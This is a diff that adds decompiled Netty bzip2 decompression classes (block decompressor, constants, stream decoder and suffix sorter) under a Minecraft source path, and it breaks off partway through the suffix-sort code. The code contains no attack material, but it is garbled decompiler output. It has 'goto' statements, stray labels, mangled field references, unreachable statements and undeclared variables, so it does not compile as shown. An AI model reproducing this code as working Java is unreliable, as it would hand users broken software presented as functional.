+final class Bzip2BlockDecompressor
+{
+  private final Bzip2BitReader reader;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private final Crc32 crc = new Crc32();
+  
+
+
+
+
+  private final int blockCRC;
+  
+
+
+
+
+  private final boolean blockRandomised;
+  
+
+
+
+
+  int huffmanEndOfBlockSymbol;
+  
+
+
+
+  int huffmanInUse16;
+  
+
+
+
+  final byte[] huffmanSymbolMap = new byte['Ā'];
+  
+
+
+
+
+
+  private final int[] bwtByteCounts = new int['Ā'];
+  
+
+
+
+
+
+  private final byte[] bwtBlock;
+  
+
+
+
+
+
+  private final int bwtStartPointer;
+  
+
+
+
+
+
+  private int[] bwtMergedPointers;
+  
+
+
+
+
+  private int bwtCurrentMergedPointer;
+  
+
+
+
+
+  private int bwtBlockLength;
+  
+
+
+
+
+  private int bwtBytesDecoded;
+  
+
+
+
+
+  private int rleLastDecodedByte = -1;
+  
+
+
+
+
+  private int rleAccumulator;
+  
+
+
+
+  private int rleRepeat;
+  
+
+
+
+  private int randomIndex;
+  
+
+
+
+  private int randomCount = Bzip2Rand.rNums(0) - 1;
+  
+
+
+
+  private final Bzip2MoveToFrontTable symbolMTF = new Bzip2MoveToFrontTable();
+  
+  private int repeatCount;
+  
+  private int repeatIncrement = 1;
+  
+  private int mtfValue;
+  
+  Bzip2BlockDecompressor(int blockSize, int blockCRC, boolean blockRandomised, int bwtStartPointer, Bzip2BitReader reader)
+  {
+    bwtBlock = new byte[blockSize];
+    
+    this.blockCRC = blockCRC;
+    this.blockRandomised = blockRandomised;
+    this.bwtStartPointer = bwtStartPointer;
+    
+    this.reader = reader;
+  }
+  
+
+
+
+  boolean decodeHuffmanData(Bzip2HuffmanStageDecoder huffmanDecoder)
+  {
+    Bzip2BitReader reader = this.reader;
+    byte[] bwtBlock = this.bwtBlock;
+    byte[] huffmanSymbolMap = this.huffmanSymbolMap;
+    int streamBlockSize = this.bwtBlock.length;
+    int huffmanEndOfBlockSymbol = this.huffmanEndOfBlockSymbol;
+    int[] bwtByteCounts = this.bwtByteCounts;
+    Bzip2MoveToFrontTable symbolMTF = this.symbolMTF;
+    
+    int bwtBlockLength = this.bwtBlockLength;
+    int repeatCount = this.repeatCount;
+    int repeatIncrement = this.repeatIncrement;
+    int mtfValue = this.mtfValue;
+    for (;;)
+    {
+      if (!reader.hasReadableBits(23)) {
+        this.bwtBlockLength = bwtBlockLength;
+        this.repeatCount = repeatCount;
+        this.repeatIncrement = repeatIncrement;
+        this.mtfValue = mtfValue;
+        return false;
+      }
+      int nextSymbol = huffmanDecoder.nextSymbol();
+      
+      if (nextSymbol == 0) {
+        repeatCount += repeatIncrement;
+        repeatIncrement <<= 1;
+      } else if (nextSymbol == 1) {
+        repeatCount += (repeatIncrement << 1);
+        repeatIncrement <<= 1;
+      } else {
+        if (repeatCount > 0) {
+          if (bwtBlockLength + repeatCount > streamBlockSize) {
+            throw new DecompressionException("block exceeds declared block size");
+          }
+          byte nextByte = huffmanSymbolMap[mtfValue];
+          bwtByteCounts[(nextByte & 0xFF)] += repeatCount;
+          for (;;) { repeatCount--; if (repeatCount < 0) break;
+            bwtBlock[(bwtBlockLength++)] = nextByte;
+          }
+          
+          repeatCount = 0;
+          repeatIncrement = 1;
+        }
+        
+        if (nextSymbol == huffmanEndOfBlockSymbol) {
+          break;
+        }
+        
+        if (bwtBlockLength >= streamBlockSize) {
+          throw new DecompressionException("block exceeds declared block size");
+        }
+        
+        mtfValue = symbolMTF.indexToFront(nextSymbol - 1) & 0xFF;
+        
+        byte nextByte = huffmanSymbolMap[mtfValue];
+        bwtByteCounts[(nextByte & 0xFF)] += 1;
+        bwtBlock[(bwtBlockLength++)] = nextByte;
+      }
+    }
+    this.bwtBlockLength = bwtBlockLength;
+    initialiseInverseBWT();
+    return true;
+  }
+  
+
+
+  private void initialiseInverseBWT()
+  {
+    int bwtStartPointer = this.bwtStartPointer;
+    byte[] bwtBlock = this.bwtBlock;
+    int[] bwtMergedPointers = new int[bwtBlockLength];
+    int[] characterBase = new int['Ā'];
+    
+    if ((bwtStartPointer < 0) || (bwtStartPointer >= bwtBlockLength)) {
+      throw new DecompressionException("start pointer invalid");
+    }
+    
+
+    System.arraycopy(bwtByteCounts, 0, characterBase, 1, 255);
+    for (int i = 2; i <= 255; i++) {
+      characterBase[i] += characterBase[(i - 1)];
+    }
+    
+
+
+
+
+    for (int i = 0; i < bwtBlockLength; i++) {
+      int value = bwtBlock[i] & 0xFF; int 
+        tmp119_117 = value; int[] tmp119_115 = characterBase; int tmp121_120 = tmp119_115[tmp119_117];tmp119_115[tmp119_117] = (tmp121_120 + 1);bwtMergedPointers[tmp121_120] = ((i << 8) + value);
+    }
+    
+    this.bwtMergedPointers = bwtMergedPointers;
+    bwtCurrentMergedPointer = bwtMergedPointers[bwtStartPointer];
+  }
+  
+
+
+
+
+  public int read()
+  {
+    while (this.rleRepeat < 1) {
+      if (bwtBytesDecoded == bwtBlockLength) {
+        return -1;
+      }
+      
+      int nextByte = decodeNextBWTByte();
+      if (nextByte != rleLastDecodedByte)
+      {
+        rleLastDecodedByte = nextByte;
+        this.rleRepeat = 1;
+        rleAccumulator = 1;
+        crc.updateCRC(nextByte);
+      }
+      else if (++rleAccumulator == 4)
+      {
+        int rleRepeat = decodeNextBWTByte() + 1;
+        this.rleRepeat = rleRepeat;
+        rleAccumulator = 0;
+        crc.updateCRC(nextByte, rleRepeat);
+      } else {
+        this.rleRepeat = 1;
+        crc.updateCRC(nextByte);
+      }
+    }
+    
+    this.rleRepeat -= 1;
+    
+    return rleLastDecodedByte;
+  }
+  
+
+
+
+
+  private int decodeNextBWTByte()
+  {
+    int mergedPointer = bwtCurrentMergedPointer;
+    int nextDecodedByte = mergedPointer & 0xFF;
+    bwtCurrentMergedPointer = bwtMergedPointers[(mergedPointer >>> 8)];
+    
+    if ((blockRandomised) && 
+      (--randomCount == 0)) {
+      nextDecodedByte ^= 0x1;
+      randomIndex = ((randomIndex + 1) % 512);
+      randomCount = Bzip2Rand.rNums(randomIndex);
+    }
+    
+    bwtBytesDecoded += 1;
+    
+    return nextDecodedByte;
+  }
+  
+  public int blockLength() {
+    return bwtBlockLength;
+  }
+  
+
+
+
+
+  int checkCRC()
+  {
+    int computedBlockCRC = crc.getCRC();
+    if (blockCRC != computedBlockCRC) {
+      throw new DecompressionException("block CRC error");
+    }
+    return computedBlockCRC;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/Bzip2Constants.java b/src/minecraft/io/netty/handler/codec/compression/Bzip2Constants.java
new file mode 100644
index 0000000..992b5fc
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/Bzip2Constants.java
@@ -0,0 +1,26 @@
+package io.netty.handler.codec.compression;
+
+final class Bzip2Constants
+{
+  static final int MAGIC_NUMBER = 4348520;
+  static final int BLOCK_HEADER_MAGIC_1 = 3227993;
+  static final int BLOCK_HEADER_MAGIC_2 = 2511705;
+  static final int END_OF_STREAM_MAGIC_1 = 1536581;
+  static final int END_OF_STREAM_MAGIC_2 = 3690640;
+  static final int BASE_BLOCK_SIZE = 100000;
+  static final int MIN_BLOCK_SIZE = 1;
+  static final int MAX_BLOCK_SIZE = 9;
+  static final int HUFFMAN_MAX_ALPHABET_SIZE = 258;
+  static final int HUFFMAN_ENCODE_MAX_CODE_LENGTH = 20;
+  static final int HUFFMAN_DECODE_MAX_CODE_LENGTH = 23;
+  static final int HUFFMAN_SYMBOL_RUNA = 0;
+  static final int HUFFMAN_SYMBOL_RUNB = 1;
+  static final int HUFFMAN_SYMBOL_RANGE_SIZE = 16;
+  static final int HUFFMAN_SELECTOR_LIST_MAX_LENGTH = 6;
+  static final int HUFFMAN_GROUP_RUN_LENGTH = 50;
+  static final int MAX_SELECTORS = 18002;
+  static final int HUFFMAN_MINIMUM_TABLES = 2;
+  static final int HUFFMAN_MAXIMUM_TABLES = 6;
+  
+  private Bzip2Constants() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/Bzip2Decoder.java b/src/minecraft/io/netty/handler/codec/compression/Bzip2Decoder.java
new file mode 100644
index 0000000..cc8eaf4
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/Bzip2Decoder.java
@@ -0,0 +1,326 @@
+package io.netty.handler.codec.compression;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.ByteToMessageDecoder;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Bzip2Decoder
+  extends ByteToMessageDecoder
+{
+  public Bzip2Decoder() {}
+  
+  private static enum State
+  {
+    INIT, 
+    INIT_BLOCK, 
+    INIT_BLOCK_PARAMS, 
+    RECEIVE_HUFFMAN_USED_MAP, 
+    RECEIVE_HUFFMAN_USED_BITMAPS, 
+    RECEIVE_SELECTORS_NUMBER, 
+    RECEIVE_SELECTORS, 
+    RECEIVE_HUFFMAN_LENGTH, 
+    DECODE_HUFFMAN_DATA, 
+    EOF;
+    private State() {} }
+  private State currentState = State.INIT;
+  
+
+
+
+  private final Bzip2BitReader reader = new Bzip2BitReader();
+  
+
+
+
+  private Bzip2BlockDecompressor blockDecompressor;
+  
+
+
+  private Bzip2HuffmanStageDecoder huffmanStageDecoder;
+  
+
+
+  private int blockSize;
+  
+
+
+  private int blockCRC;
+  
+
+
+  private int streamCRC;
+  
+
+
+
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out)
+    throws Exception
+  {
+    if (!in.isReadable()) {
+      return;
+    }
+    
+    Bzip2BitReader reader = this.reader;
+    reader.setByteBuf(in);
+    for (;;)
+    {
+      switch (1.$SwitchMap$io$netty$handler$codec$compression$Bzip2Decoder$State[currentState.ordinal()]) {
+      case 1: 
+        if (in.readableBytes() < 4) {
+          return;
+        }
+        int magicNumber = in.readUnsignedMedium();
+        if (magicNumber != 4348520) {
+          throw new DecompressionException("Unexpected stream identifier contents. Mismatched bzip2 protocol version?");
+        }
+        
+        int blockSize = in.readByte() - 48;
+        if ((blockSize < 1) || (blockSize > 9)) {
+          throw new DecompressionException("block size is invalid");
+        }
+        this.blockSize = (blockSize * 100000);
+        
+        streamCRC = 0;
+        currentState = State.INIT_BLOCK;
+      case 2: 
+        if (!reader.hasReadableBytes(10)) {
+          return;
+        }
+        
+        int magic1 = reader.readBits(24);
+        int magic2 = reader.readBits(24);
+        if ((magic1 == 1536581) && (magic2 == 3690640))
+        {
+          int storedCombinedCRC = reader.readInt();
+          if (storedCombinedCRC != streamCRC) {
+            throw new DecompressionException("stream CRC error");
+          }
+          currentState = State.EOF;
+        }
+        else {
+          if ((magic1 != 3227993) || (magic2 != 2511705)) {
+            throw new DecompressionException("bad block header");
+          }
+          blockCRC = reader.readInt();
+          currentState = State.INIT_BLOCK_PARAMS;
+        }
+        break; case 3:  if (!reader.hasReadableBits(25)) {
+          return;
+        }
+        boolean blockRandomised = reader.readBoolean();
+        int bwtStartPointer = reader.readBits(24);
+        
+        this.blockDecompressor = new Bzip2BlockDecompressor(this.blockSize, blockCRC, blockRandomised, bwtStartPointer, reader);
+        
+        currentState = State.RECEIVE_HUFFMAN_USED_MAP;
+      case 4: 
+        if (!reader.hasReadableBits(16)) {
+          return;
+        }
+        blockDecompressorhuffmanInUse16 = reader.readBits(16);
+        currentState = State.RECEIVE_HUFFMAN_USED_BITMAPS;
+      case 5: 
+        Bzip2BlockDecompressor blockDecompressor = this.blockDecompressor;
+        int inUse16 = huffmanInUse16;
+        int bitNumber = Integer.bitCount(inUse16);
+        byte[] huffmanSymbolMap = huffmanSymbolMap;
+        
+        if (!reader.hasReadableBits(bitNumber * 16 + 3)) {
+          return;
+        }
+        
+        int huffmanSymbolCount = 0;
+        if (bitNumber > 0) {
+          for (int i = 0; i < 16; i++) {
+            if ((inUse16 & 32768 >>> i) != 0) {
+              int j = 0; for (int k = i << 4; j < 16; k++) {
+                if (reader.readBoolean()) {
+                  huffmanSymbolMap[(huffmanSymbolCount++)] = ((byte)k);
+                }
+                j++;
+              }
+            }
+          }
+        }
+        
+
+
+        huffmanEndOfBlockSymbol = (huffmanSymbolCount + 1);
+        
+        int totalTables = reader.readBits(3);
+        if ((totalTables < 2) || (totalTables > 6)) {
+          throw new DecompressionException("incorrect huffman groups number");
+        }
+        int alphaSize = huffmanSymbolCount + 2;
+        if (alphaSize > 258) {
+          throw new DecompressionException("incorrect alphabet size");
+        }
+        this.huffmanStageDecoder = new Bzip2HuffmanStageDecoder(reader, totalTables, alphaSize);
+        currentState = State.RECEIVE_SELECTORS_NUMBER;
+      case 6: 
+        if (!reader.hasReadableBits(15)) {
+          return;
+        }
+        int totalSelectors = reader.readBits(15);
+        if ((totalSelectors < 1) || (totalSelectors > 18002)) {
+          throw new DecompressionException("incorrect selectors number");
+        }
+        huffmanStageDecoderselectors = new byte[totalSelectors];
+        
+        currentState = State.RECEIVE_SELECTORS;
+      case 7: 
+        Bzip2HuffmanStageDecoder huffmanStageDecoder = this.huffmanStageDecoder;
+        byte[] selectors = selectors;
+        int totalSelectors = selectors.length;
+        Bzip2MoveToFrontTable tableMtf = tableMTF;
+        
+
+
+        for (int currSelector = currentSelector; 
+            currSelector < totalSelectors; currSelector++) {
+          if (!reader.hasReadableBits(6))
+          {
+            currentSelector = currSelector;
+            return;
+          }
+          int index = 0;
+          while (reader.readBoolean()) {
+            index++;
+          }
+          selectors[currSelector] = tableMtf.indexToFront(index);
+        }
+        
+        currentState = State.RECEIVE_HUFFMAN_LENGTH;
+      case 8: 
+        Bzip2HuffmanStageDecoder huffmanStageDecoder = this.huffmanStageDecoder;
+        int totalTables = totalTables;
+        byte[][] codeLength = tableCodeLengths;
+        int alphaSize = alphabetSize;
+        
+
+
+        int currLength = currentLength;
+        int currAlpha = 0;
+        boolean modifyLength = modifyLength;
+        boolean saveStateAndReturn = false;
+        for (int currGroup = currentGroup; currGroup < totalTables; currGroup++)
+        {
+          if (!reader.hasReadableBits(5)) {
+            saveStateAndReturn = true;
+            break;
+          }
+          if (currLength < 0) {
+            currLength = reader.readBits(5);
+          }
+          for (currAlpha = currentAlpha; currAlpha < alphaSize; currAlpha++)
+          {
+            if (!reader.isReadable()) {
+              saveStateAndReturn = true;
+              break label970;
+            }
+            while ((modifyLength) || (reader.readBoolean())) {
+              if (!reader.isReadable()) {
+                modifyLength = true;
+                saveStateAndReturn = true;
+                
+                break label970;
+              }
+              currLength += (reader.readBoolean() ? -1 : 1);
+              modifyLength = false;
+              if (!reader.isReadable()) {
+                saveStateAndReturn = true;
+                break label970;
+              }
+            }
+            codeLength[currGroup][currAlpha] = ((byte)currLength);
+          }
+          currLength = -1;
+          currAlpha = huffmanStageDecoder.currentAlpha = 0;
+          modifyLength = false;
+        }
+        if (saveStateAndReturn)
+        {
+          currentGroup = currGroup;
+          currentLength = currLength;
+          currentAlpha = currAlpha;
+          modifyLength = modifyLength;
+          return;
+        }
+        
+
+        huffmanStageDecoder.createHuffmanDecodingTables();
+        currentState = State.DECODE_HUFFMAN_DATA;
+      case 9:  label970:
+        Bzip2BlockDecompressor blockDecompressor = this.blockDecompressor;
+        int oldReaderIndex = in.readerIndex();
+        boolean decoded = blockDecompressor.decodeHuffmanData(this.huffmanStageDecoder);
+        if (!decoded) {
+          return;
+        }
+        
+
+
+        if ((in.readerIndex() == oldReaderIndex) && (in.isReadable())) {
+          reader.refill();
+        }
+        
+        int blockLength = blockDecompressor.blockLength();
+        ByteBuf uncompressed = ctx.alloc().buffer(blockLength);
+        boolean success = false;
+        try {
+          int uncByte;
+          while ((uncByte = blockDecompressor.read()) >= 0) {
+            uncompressed.writeByte(uncByte);
+          }
+          
+          int currentBlockCRC = blockDecompressor.checkCRC();
+          streamCRC = ((streamCRC << 1 | streamCRC >>> 31) ^ currentBlockCRC);
+          
+          out.add(uncompressed);
+          success = true;
+        } finally {
+          if (!success) {
+            uncompressed.release();
+          }
+        }
+        currentState = State.INIT_BLOCK;
+      }
+    }
+    in.skipBytes(in.readableBytes());
+    return;
+    
+    throw new IllegalStateException();
+  }
+  
+
+
+
+
+
+  public boolean isClosed()
+  {
+    return currentState == State.EOF;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/Bzip2DivSufSort.java b/src/minecraft/io/netty/handler/codec/compression/Bzip2DivSufSort.java
new file mode 100644
index 0000000..a7d8612
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/Bzip2DivSufSort.java
@@ -0,0 +1,2212 @@
+package io.netty.handler.codec.compression;
+
+
+
+
+
+final class Bzip2DivSufSort
+{
+  private static final int STACK_SIZE = 64;
+  
+
+
+
+  private static final int BUCKET_A_SIZE = 256;
+  
+
+
+
+  private static final int BUCKET_B_SIZE = 65536;
+  
+
+
+
+  private static final int SS_BLOCKSIZE = 1024;
+  
+
+
+
+  private static final int INSERTIONSORT_THRESHOLD = 8;
+  
+
+
+  private static final int[] LOG_2_TABLE = { -1, 0, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7 };
+  
+
+
+
+  private final int[] SA;
+  
+
+
+
+  private final byte[] T;
+  
+
+
+  private final int n;
+  
+
+
+
+  Bzip2DivSufSort(byte[] block, int[] bwtBlock, int blockLength)
+  {
+    T = block;
+    SA = bwtBlock;
+    n = blockLength;
+  }
+  
+  private static void swapElements(int[] array1, int idx1, int[] array2, int idx2) {
+    int temp = array1[idx1];
+    array1[idx1] = array2[idx2];
+    array2[idx2] = temp;
+  }
+  
+  private int ssCompare(int p1, int p2, int depth) {
+    int[] SA = this.SA;
+    byte[] T = this.T;
+    
+
+    int U1n = SA[(p1 + 1)] + 2;
+    int U2n = SA[(p2 + 1)] + 2;
+    
+    int U1 = depth + SA[p1];
+    int U2 = depth + SA[p2];
+    
+    while ((U1 < U1n) && (U2 < U2n) && (T[U1] == T[U2])) {
+      U1++;
+      U2++;
+    }
+    
+    return U2 < U2n ? -1 : U1 < U1n ? 1 : U2 < U2n ? (T[U1] & 0xFF) - (T[U2] & 0xFF) : 0;
+  }
+  
+
+  private int ssCompareLast(int pa, int p1, int p2, int depth, int size)
+  {
+    int[] SA = this.SA;
+    byte[] T = this.T;
+    
+    int U1 = depth + SA[p1];
+    int U2 = depth + SA[p2];
+    int U1n = size;
+    int U2n = SA[(p2 + 1)] + 2;
+    
+    while ((U1 < U1n) && (U2 < U2n) && (T[U1] == T[U2])) {
+      U1++;
+      U2++;
+    }
+    
+    if (U1 < U1n) {
+      return U2 < U2n ? (T[U1] & 0xFF) - (T[U2] & 0xFF) : 1;
+    }
+    if (U2 == U2n) {
+      return 1;
+    }
+    
+    U1 %= size;
+    U1n = SA[pa] + 2;
+    while ((U1 < U1n) && (U2 < U2n) && (T[U1] == T[U2])) {
+      U1++;
+      U2++;
+    }
+    
+    return U2 < U2n ? -1 : U1 < U1n ? 1 : U2 < U2n ? (T[U1] & 0xFF) - (T[U2] & 0xFF) : 0;
+  }
+  
+
+  private void ssInsertionSort(int pa, int first, int last, int depth)
+  {
+    int[] SA = this.SA;
+    
+
+
+
+
+    for (int i = last - 2; first <= i; i--) {
+      int t = SA[i]; int r; for (int j = i + 1; 0 < (r = ssCompare(pa + t, pa + SA[j], depth));) {
+        do {
+          SA[(j - 1)] = SA[j];
+          j++; } while ((j < last) && (SA[j] < 0));
+        if (last <= j) {
+          break;
+        }
+      }
+      if (r == 0) {
+        SA[j] ^= 0xFFFFFFFF;
+      }
+      SA[(j - 1)] = t;
+    }
+  }
+  
+  private void ssFixdown(int td, int pa, int sa, int i, int size) {
+    int[] SA = this.SA;
+    byte[] T = this.T;
+    
+
+
+
+
+    int v = SA[(sa + i)]; int j; int k; for (int c = T[(td + SA[(pa + v)])] & 0xFF; (j = 2 * i + 1) < size; i = k) {
+      int d = T[(td + SA[(pa + SA[(sa + (k = j++))])])] & 0xFF;
+      int e; if (d < (e = T[(td + SA[(pa + SA[(sa + j)])])] & 0xFF)) {
+        k = j;
+        d = e;
+      }
+      if (d <= c) {
+        break;
+      }
+      SA[(sa + i)] = SA[(sa + k)];
+    }
+    
+
+
+
+
+
+
+
+    SA[(sa + i)] = v;
+  }
+  
+  private void ssHeapSort(int td, int pa, int sa, int size) {
+    int[] SA = this.SA;
+    byte[] T = this.T;
+    
+
+
+
+    int m = size;
+    if (size % 2 == 0) {
+      m--;
+      if ((T[(td + SA[(pa + SA[(sa + m / 2)])])] & 0xFF) < (T[(td + SA[(pa + SA[(sa + m)])])] & 0xFF)) {
+        swapElements(SA, sa + m, SA, sa + m / 2);
+      }
+    }
+    
+    for (int i = m / 2 - 1; 0 <= i; i--) {
+      ssFixdown(td, pa, sa, i, m);
+    }
+    
+    if (size % 2 == 0) {
+      swapElements(SA, sa, SA, sa + m);
+      ssFixdown(td, pa, sa, 0, m);
+    }
+    
+    for (i = m - 1; 0 < i; i--) {
+      int t = SA[sa];
+      SA[sa] = SA[(sa + i)];
+      ssFixdown(td, pa, sa, 0, i);
+      SA[(sa + i)] = t;
+    }
+  }
+  
+  private int ssMedian3(int td, int pa, int v1, int v2, int v3) {
+    int[] SA = this.SA;
+    byte[] T = this.T;
+    
+    int T_v1 = T[(td + SA[(pa + SA[v1])])] & 0xFF;
+    int T_v2 = T[(td + SA[(pa + SA[v2])])] & 0xFF;
+    int T_v3 = T[(td + SA[(pa + SA[v3])])] & 0xFF;
+    
+    if (T_v1 > T_v2) {
+      int temp = v1;
+      v1 = v2;
+      v2 = temp;
+      int T_vtemp = T_v1;
+      T_v1 = T_v2;
+      T_v2 = T_vtemp;
+    }
+    if (T_v2 > T_v3) {
+      if (T_v1 > T_v3) {
+        return v1;
+      }
+      return v3;
+    }
+    return v2;
+  }
+  
+  private int ssMedian5(int td, int pa, int v1, int v2, int v3, int v4, int v5) {
+    int[] SA = this.SA;
+    byte[] T = this.T;
+    
+    int T_v1 = T[(td + SA[(pa + SA[v1])])] & 0xFF;
+    int T_v2 = T[(td + SA[(pa + SA[v2])])] & 0xFF;
+    int T_v3 = T[(td + SA[(pa + SA[v3])])] & 0xFF;
+    int T_v4 = T[(td + SA[(pa + SA[v4])])] & 0xFF;
+    int T_v5 = T[(td + SA[(pa + SA[v5])])] & 0xFF;
+    
+
+
+    if (T_v2 > T_v3) {
+      int temp = v2;
+      v2 = v3;
+      v3 = temp;
+      int T_vtemp = T_v2;
+      T_v2 = T_v3;
+      T_v3 = T_vtemp;
+    }
+    if (T_v4 > T_v5) {
+      int temp = v4;
+      v4 = v5;
+      v5 = temp;
+      int T_vtemp = T_v4;
+      T_v4 = T_v5;
+      T_v5 = T_vtemp;
+    }
+    if (T_v2 > T_v4) {
+      int temp = v2;
+      v4 = temp;
+      int T_vtemp = T_v2;
+      T_v4 = T_vtemp;
+      temp = v3;
+      v3 = v5;
+      v5 = temp;
+      T_vtemp = T_v3;
+      T_v3 = T_v5;
+      T_v5 = T_vtemp;
+    }
+    if (T_v1 > T_v3) {
+      int temp = v1;
+      v1 = v3;
+      v3 = temp;
+      int T_vtemp = T_v1;
+      T_v1 = T_v3;
+      T_v3 = T_vtemp;
+    }
+    if (T_v1 > T_v4) {
+      int temp = v1;
+      v4 = temp;
+      int T_vtemp = T_v1;
+      T_v4 = T_vtemp;
+      v3 = v5;
+      T_v3 = T_v5;
+    }
+    if (T_v3 > T_v4) {
+      return v4;
+    }
+    return v3;
+  }
+  
+
+
+  private int ssPivot(int td, int pa, int first, int last)
+  {
+    int t = last - first;
+    int middle = first + t / 2;
+    
+    if (t <= 512) {
+      if (t <= 32) {
+        return ssMedian3(td, pa, first, middle, last - 1);
+      }
+      t >>= 2;
+      return ssMedian5(td, pa, first, first + t, middle, last - 1 - t, last - 1);
+    }
+    t >>= 3;
+    return ssMedian3(td, pa, ssMedian3(td, pa, first, first + t, first + (t << 1)), ssMedian3(td, pa, middle - t, middle, middle + t), ssMedian3(td, pa, last - 1 - (t << 1), last - 1 - t, last - 1));
+  }
+  
+
+
+
+
+  private static int ssLog(int n)
+  {
+    return (n & 0xFF00) != 0 ? 8 + LOG_2_TABLE[(n >> 8 & 0xFF)] : LOG_2_TABLE[(n & 0xFF)];
+  }
+  
+
+  private int ssSubstringPartition(int pa, int first, int last, int depth)
+  {
+    int[] SA = this.SA;
+    
+
+
+
+    int a = first - 1;int b = last;
+    for (;;) { a++; if ((a < b) && (SA[(pa + SA[a])] + depth >= SA[(pa + SA[a] + 1)] + 1)) {
+        SA[a] ^= 0xFFFFFFFF;
+      } else {
+        b--;
+        while ((a < b) && (SA[(pa + SA[b])] + depth < SA[(pa + SA[b] + 1)] + 1)) {
+          b--;
+        }
+        
+        if (b <= a) {
+          break;
+        }
+        int t = SA[b] ^ 0xFFFFFFFF;
+        SA[b] = SA[a];
+        SA[a] = t;
+      } }
+    if (first < a) {
+      SA[first] ^= 0xFFFFFFFF;
+    }
+    return a;
+  }
+  
+  private static class StackEntry {
+    final int a;
+    final int b;
+    final int c;
+    final int d;
+    
+    StackEntry(int a, int b, int c, int d) {
+      this.a = a;
+      this.b = b;
+      this.c = c;
+      this.d = d;
+    }
+  }
+  
+  private void ssMultiKeyIntroSort(int pa, int first, int last, int depth) {
+    int[] SA = this.SA;
+    byte[] T = this.T;
+    
+    StackEntry[] stack = new StackEntry[64];
+    
+
+
+
+
+
+    int x = 0;
+    
+    int ssize = 0;int limit = ssLog(last - first);
+    for (;;) { if (last - first <= 8) {
+        if (1 < last - first) {
+          ssInsertionSort(pa, first, last, depth);
+        }
+        if (ssize == 0) {
+          return;
+        }
+        StackEntry entry = stack[(--ssize)];
+        first = a;
+        last = b;
+        depth = c;
+        limit = d;
+      }
+      else
+      {
+        int Td = depth;
+        if (limit-- == 0) {
+          ssHeapSort(Td, pa, first, last - first);
+        }
+        if (limit < 0) {
+          int a = first + 1; for (int v = T[(Td + SA[(pa + SA[first])])] & 0xFF; a < last; a++) {
+            if ((x = T[(Td + SA[(pa + SA[a])])] & 0xFF) != v) {
+              if (1 < a - first) {
+                break;
+              }
+              v = x;
+              first = a;
+            }
+          }
+          if ((T[(Td + SA[(pa + SA[first])] - 1)] & 0xFF) < v) {
+            first = ssSubstringPartition(pa, first, a, depth);
+          }
+          if (a - first <= last - a) {
+            if (1 < a - first) {
+              stack[(ssize++)] = new StackEntry(a, last, depth, -1);
+              last = a;
+              depth++;
+              limit = ssLog(a - first);
+            } else {
+              first = a;
+              limit = -1;
+            }
+          }
+          else if (1 < last - a) {
+            stack[(ssize++)] = new StackEntry(first, a, depth + 1, ssLog(a - first));
+            first = a;
+            limit = -1;
+          } else {
+            last = a;
+            depth++;
+            limit = ssLog(a - first);
+          }
+          
+        }
+        else
+        {
+          int a = ssPivot(Td, pa, first, last);
+          int v = T[(Td + SA[(pa + SA[a])])] & 0xFF;
+          swapElements(SA, first, SA, a);
+          
+          int b = first + 1;
+          while ((b < last) && ((x = T[(Td + SA[(pa + SA[b])])] & 0xFF) == v)) {
+            b++;
+          }
+          if (((a = b) < last) && (x < v)) {
+            for (;;) { b++; if ((b >= last) || ((x = T[(Td + SA[(pa + SA[b])])] & 0xFF) > v)) break;
+              if (x == v) {
+                swapElements(SA, b, SA, a);
+                a++;
+              }
+            }
+          }
+          
+          int c = last - 1;
+          while ((b < c) && ((x = T[(Td + SA[(pa + SA[c])])] & 0xFF) == v))
+            c--;
+          int d;
+          if ((b < (d = c)) && (x > v)) {
+            while ((b < --c) && ((x = T[(Td + SA[(pa + SA[c])])] & 0xFF) >= v)) {
+              if (x == v) {
+                swapElements(SA, c, SA, d);
+                d--;
+              }
+            }
+          }
+          for (; b < c; 
+              
+
+
+
+
+
+
+
+
+
+              goto 752)
+          {
+            swapElements(SA, b, SA, c);
+            for (;;) { b++; if ((b >= c) || ((x = T[(Td + SA[(pa + SA[b])])] & 0xFF) > v)) break;
+              if (x == v) {
+                swapElements(SA, b, SA, a);
+                a++;
+              }
+            }
+            while ((b < --c) && ((x = T[(Td + SA[(pa + SA[c])])] & 0xFF) >= v)) {
+              if (x == v) {
+                swapElements(SA, c, SA, d);
+                d--;
+              }
+            }
+          }
+          
+          if (a <= d) {
+            c = b - 1;
+            int s;
+            int t; if ((s = a - first) > (t = b - a)) {
+              s = t;
+            }
